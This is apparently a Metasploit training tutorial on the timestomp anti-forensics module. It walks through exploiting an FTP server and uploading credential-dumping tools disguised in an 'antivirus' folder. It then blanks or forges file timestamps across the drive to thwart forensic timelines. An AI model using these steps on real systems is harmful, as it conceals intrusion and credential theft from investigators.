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Interacting with most file systems is like walking in the snow...you will leave footprints. How detailed those footprints are, how much can be learned from them, and how long they last all depends on various circumstances. The art of analyzing these artifacts is digital forensics. For various reasons, when conducting a penetration test you may want to make it hard for a forensic analyst to determine the actions that you took.

The best way to avoid detection by a forensic investigation is simple: Don't touch the filesystem! This is one of the beautiful things about Meterpreter, it loads into memory without writing anything to disk, greatly minimizing the artifacts it leaves on a system. However, in many cases you may have to interact with the filesystem in order to complete the penetration test. This is where **TimeStomp** comes in.



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We will now start by exploiting the system and loading up a Meterpreter session. After that, we will load the **timestomp** module and take a quick look at the file in question.

```
msf exploit(warftpd_165_user) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Connecting to FTP server 172.16.104.145:21...
[*] Connected to target FTP server.
[*] Trying target Windows 2000 SP0-SP4 English...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] meterpreter session 1 opened (172.16.104.130:4444 -> 172.16.104.145:1218)
meterpreter > use priv
Loading extension priv...success.
meterpreter > timestomp -h
```

Usage: timestomp OPTIONS file_path

OPTIONS:

- a Set the "last accessed" time of the file
- b Set the MACE timestamps so that EnCase shows blanks
- c Set the "creation" time of the file
- e Set the "mft entry modified" time of the file
- f Set the MACE of attributes equal to the supplied file
- h Help banner
- m Set the "last written" time of the file
- r Set the MACE timestamps recursively on a directory

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- v Display the UTC MACE values of the file
- z Set all four attributes (MACE) of the file

```
meterpreter > pwd
C:\Program Files\War-ftpd
meterpreter > cd ..
meterpreter > pwd
C:\Program Files
meterpreter > cd ..
meterpreter > cd Documents\ and\ Settings
meterpreter > cd P0WN3D
meterpreter > cd My\ Documents
meterpreter > ls
```

Listing: C:\Documents and Settings\P0WN3D\My Documents
=====

Mode	Size	Type	Last modified	Name
----	----	----	-----	----
40777/rwxrwxrwx	0	dir	Wed Dec 31 19:00:00 -0500 1969	.
40777/rwxrwxrwx	0	dir	Wed Dec 31 19:00:00 -0500 1969	..
40555/r-xr-xr-x	0	dir	Wed Dec 31 19:00:00 -0500 1969	My Pictures
100666/rw-rw-rw-	28	fil	Wed Dec 31 19:00:00 -0500 1969	test.txt

```
meterpreter > timestomp test.txt -v
Modified      : Sun May 03 04:30:36 -0400 2009
Accessed      : Sun May 03 04:31:51 -0400 2009
Created       : Sun May 03 04:30:00 -0400 2009
```



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cmd.exe to **test.txt** to make it blend in a little better.

```
meterpreter > timestomp test.txt -f C:\\WINNT\\system32\\cmd.exe
[*] Setting MACE attributes on test.txt from C:\\WINNT\\system32\\cmd.exe
meterpreter > timestomp test.txt -v
Modified      : Tue Dec 07 08:00:00 -0500 1999
Accessed      : Sun May 03 05:14:51 -0400 2009
Created       : Tue Dec 07 08:00:00 -0500 1999
Entry Modified: Sun May 03 05:11:16 -0400 2009
```

There we go! Now it looks as if the **text.txt** file was created on Dec 7th, 1999. Let’s see how it looks from Windows.

```
File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt
Created Date: 12/7/1999 7:00:00 AM
Last Accessed: 5/3/2009 3:11:16 AM
Last Modified: 12/7/1999 7:00:00 AM
```

Success! Notice there are some slight differences between the times through Windows and Metasploit. This is due to the way the timezones are displayed. Windows is displaying the time in -0600, while Metasploit shows the MC times as -0500. When adjusted for the timezone differences, we can see that they match. Also notice that the act of checking the files information within Windows altered the last accessed time. This just goes to show how fragile MAC times can be, and why great care has to be taken when interacting with them.

Let’s now make a different change. In the previous example, we were looking to make the changes blend in but in some cases, this just isn’t realistic and the best you can hope for is to make it harder for an investigator to identify when changes actually occurred. For those situations, **timestomp** has a great option (**-b** for blank) where it zeros out the MAC times for a file. Let’s take a look.

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```
meterpreter > timestomp test.txt -v
Modified      : Tue Dec 07 08:00:00 -0500 1999
Accessed      : Sun May 03 05:16:20 -0400 2009
Created       : Tue Dec 07 08:00:00 -0500 1999
Entry Modified: Sun May 03 05:11:16 -0400 2009
```

```
meterpreter > timestomp test.txt -b
[*] Blanking file MACE attributes on test.txt
meterpreter > timestomp test.txt -v
Modified      : 2106-02-06 23:28:15 -0700
Accessed      : 2106-02-06 23:28:15 -0700
Created       : 2106-02-06 23:28:15 -0700
Entry Modified: 2106-02-06 23:28:15 -0700
```

When parsing the MAC times, timestomp now lists them as having been created in the year 2106!. This is very interesting, as some poorly written forensic tools have the same problem, and will crash when coming across entries like this. Let’s see how the file looks in Windows.

```
File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt
Created Date: 1/1/1601
Last Accessed: 5/3/2009 3:21:13 AM
Last Modified: 1/1/1601
```



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```
Creating directory: antivirus
meterpreter > cd antivirus
meterpreter > pwd
C:\WINNT\antivirus
meterpreter > upload /usr/share/windows-binaries/fgdump c:\\WINNT\\antivirus\\
[*] uploading   : /usr/share/windows-binaries/fgdump/servpw.exe -> c:WINNTantivirusPwDump.exe
[*] uploaded    : /usr/share/windows-binaries/fgdump/servpw.exe -> c:WINNTantivirusPwDump.exe
[*] uploading   : /usr/share/windows-binaries/fgdump/cachedump64.exe -> c:WINNTantivirusLsaExt
[*] uploaded    : /usr/share/windows-binaries/fgdump/cachedump64.exe -> c:WINNTantivirusLsaExt
[*] uploading   : /usr/share/windows-binaries/fgdump/pstgdump.exe -> c:WINNTantiviruspwservice
[*] uploaded    : /usr/share/windows-binaries/fgdump/pstgdump.exe -> c:WINNTantiviruspwservice
meterpreter > ls
```

```
Listing: C:\WINNT\antivirus
=====
```

Mode	Size	Type	Last modified	Name
----	----	----	-----	----
100777/rwxrwxrwx	174080	fil	2017-05-09 15:23:19 -0600	cachedump64.exe
100777/rwxrwxrwx	57344	fil	2017-05-09 15:23:20 -0600	pstgdump.exe
100777/rwxrwxrwx	57344	fil	2017-05-09 15:23:18 -0600	servpw.exe

```
meterpreter > cd ..
```

With our files uploaded, we will now run **timestomp** on the them to confuse any potential investigator.

```
meterpreter > timestomp antivirus\\servpw.exe -v
Modified      : 2017-05-09 16:23:18 -0600
Accessed      : 2017-05-09 16:23:18 -0600
Created       : 2017-05-09 16:23:18 -0600
Entry Modified: 2017-05-09 16:23:18 -0600
meterpreter > timestomp antivirus\\pstgdump.exe -v
Modified      : 2017-05-09 16:23:20 -0600
Accessed      : 2017-05-09 16:23:19 -0600
```

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```
Created      : 2017-05-09 16:23:19 -0600
Entry Modified: 2017-05-09 16:23:20 -0600
meterpreter > timestomp antivirus -r
[*] Blanking directory MACE attributes on antivirus
```

```
meterpreter > ls
40777/rwxrwxrwx  0      dir   1980-01-01 00:00:00 -0700  ..
100666/rw-rw-rw- 115    fil   2106-02-06 23:28:15 -0700  servpw.exe
100666/rw-rw-rw- 12165   fil   2106-02-06 23:28:15 -0700  pstgdump.exe
```

As you can see, Meterpreter can no longer get a proper directory listing.

However, there is something to consider in this case. We have hidden when an action occurred, yet it will still be very obvious to an investigator where activity was happening. What would we do if we wanted to hide both when a toolkit was uploaded, and where it was uploaded?

The easiest way to approach this is to zero out the times on the full drive. This will make the job of the investigator very difficult, as traditional timeline analysis will not be possible. Let's first look at our **WINNT\system32** directory.

Name	Modified	Created	Accessed
twunk_16	5/3/2009 2:06 AM	5/3/2009 2:07 PM	5/3/2009 2:06 AM



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twunk_16	12/7/1999 7:00 AM	12/7/1999 7:00 AM	5/3/2009 2:06 AM
twunk_32	12/7/1999 7:00 AM	12/7/1999 7:00 AM	5/3/2009 2:06 AM
upwizun	12/7/1999 7:00 AM	12/7/1999 7:00 AM	5/3/2009 2:07 AM
vb	5/3/2009 2:05 AM	5/3/2009 2:05 AM	5/3/2009 2:05 AM
vbaddin	5/3/2009 2:05 AM	5/3/2009 2:05 AM	5/3/2009 2:05 AM
vmnreg32.dll	12/7/1999 7:00 AM	12/7/1999 7:00 AM	5/3/2009 2:07 AM
welcome	12/7/1999 7:00 AM	12/7/1999 7:00 AM	5/3/2009 4:03 AM
welcome	12/7/1999 7:00 AM	12/7/1999 7:00 AM	5/3/2009 2:10 AM
win	5/3/2009 2:06 AM	12/7/1999 7:00 AM	5/3/2009 2:06 AM
winhelp	12/7/1999 7:00 AM	12/7/1999 7:00 AM	5/3/2009 2:07 AM
winhlp32	12/7/1999 7:00 AM	12/7/1999 7:00 AM	5/3/2009 2:07 AM
winrep	12/7/1999 7:00 AM	12/7/1999 7:00 AM	5/3/2009 2:07 AM
Zapotec	12/7/1999 7:00 AM	5/2/2009 9:05 PM	5/2/2009 9:05 PM

Everything looks normal. Now, let's shake the filesystem up really bad!

```
meterpreter > pwd
C:WINNT\antivirus
meterpreter > cd ../..
meterpreter > pwd
C:
meterpreter > ls
```

```
Listing: C:\
=====
```

Mode	Size	Type	Last modified	Name
----	----	----	-----	----
100777/rwxrwxrwx	0	fil	Wed Dec 31 19:00:00 -0500 1969	AUTOEXEC.BAT
100666/rw-rw-rw-	0	fil	Wed Dec 31 19:00:00 -0500 1969	CONFIG.SYS
40777/rwxrwxrwx	0	dir	Wed Dec 31 19:00:00 -0500 1969	Documents and Settings
100444/r--r--r--	0	fil	Wed Dec 31 19:00:00 -0500 1969	IO.SYS
100444/r--r--r--	0	fil	Wed Dec 31 19:00:00 -0500 1969	MSDOS.SYS
100555/r-xr-xr-x	34468	fil	Wed Dec 31 19:00:00 -0500 1969	NTDETECT.COM
40555/r-xr-xr-x	0	dir	Wed Dec 31 19:00:00 -0500 1969	Program Files
40777/rwxrwxrwx	0	dir	Wed Dec 31 19:00:00 -0500 1969	RECYCLER
40777/rwxrwxrwx	0	dir	Wed Dec 31 19:00:00 -0500 1969	System Volume Information

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```
40777/rwxrwxrwx  0      dir    Wed Dec 31 19:00:00 -0500 1969  WINNT
100555/r-xr-xr-x 148992  fil    Wed Dec 31 19:00:00 -0500 1969  arcldr.exe
100555/r-xr-xr-x 162816  fil    Wed Dec 31 19:00:00 -0500 1969  arcsetup.exe
100666/rw-rw-rw- 192     fil    Wed Dec 31 19:00:00 -0500 1969  boot.ini
100444/r--r--r-- 214416  fil    Wed Dec 31 19:00:00 -0500 1969  ntldr
100666/rw-rw-rw- 402653184 fil    Wed Dec 31 19:00:00 -0500 1969  pagefile.sys
```

```
meterpreter > timestomp C:\\ -r
[*] Blanking directory MACE attributes on C:\\
meterpreter > ls
meterpreter > ls
```

```
Listing: C:\\
=====
```

Mode	Size	Type	Last modified	Name
----	----	----	-----	----
100777/rwxrwxrwx	0	fil	2106-02-06 23:28:15 -0700	AUTOEXEC.BAT
100666/rw-rw-rw-	0	fil	2106-02-06 23:28:15 -0700	CONFIG.SYS
100666/rw-rw-rw-	0	fil	2106-02-06 23:28:15 -0700	Documents and Settings
100444/r--r--r--	0	fil	2106-02-06 23:28:15 -0700	IO.SYS
100444/r--r--r--	0	fil	2106-02-06 23:28:15 -0700	MSDOS.SYS
100555/r-xr-xr-x	47564	fil	2106-02-06 23:28:15 -0700	NTDETECT.COM
...snip...				



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	Soap Bubbles	2/19/21086 4:53 AM	4/15/2027 7:00 PM
	Sti_Trace	1/7/1980 7:00 PM	5/15/2078 7:00 PM
	system	2/19/21086 4:53 AM	2/19/21086 4:53 AM
	TASKMAN	3/7/2106 7:00 PM	5/3/2009 3:56 AM
	twain.dll	7/23/2105 7:00 PM	5/3/2009 3:56 AM
	twain_32.dll	2/19/21086 4:53 AM	5/3/2009 3:56 AM
	twunk_16	2/7/2056 7:00 PM	5/3/2009 3:56 AM
	twunk_32	2/19/21086 4:53 AM	5/3/2009 3:56 AM
	upwizun	4/7/2053 7:00 PM	5/3/2009 3:56 AM
	vb	3/7/2021 7:00 PM	2/19/21086 4:53 AM
	vbaddin	5/23/2106 7:00 PM	2/19/21086 4:53 AM
	vmereg32.dll	5/23/2106 7:00 PM	5/3/2009 3:56 AM
	welcome	5/15/2056 7:00 PM	5/3/2009 4:01 AM
	welcome	2/19/21086 4:53 AM	7/15/2080 7:00 PM
	win	2/19/21086 4:53 AM	10/7/2106 7:00 PM
	winhelp	2/19/21086 4:53 AM	5/3/2009 3:56 AM
	winhlp32	4/7/2053 7:00 PM	5/3/2009 3:56 AM
	winrep	2/19/21086 4:53 AM	5/3/2009 3:56 AM
	Zapotec	2/19/21086 4:53 AM	2/19/21086 4:53 AM

Amazing. Windows has no idea what is going on, and displays crazy times all over the place. Don't get overconfident however. By taking this action, you have also made it very obvious that some adverse activity has occurred on the system. Also, there are many different sources of timeline information on a Windows system other than just MAC times. If a forensic investigator came across a system that had been modified in this manner, they would be running to these alternative information sources. However, the cost of conducting the investigation just went up.

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